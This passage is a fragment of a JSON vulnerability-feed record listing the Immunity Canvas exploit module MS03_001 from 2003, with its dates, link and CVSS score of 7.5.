\n\n", "modified": "2003-02-07T05:00:00", "published": "2003-02-07T05:00:00", "id": "MS03_001", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/ms03_001", "title": "Immunity Canvas: MS03_001", "type": "canvas", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}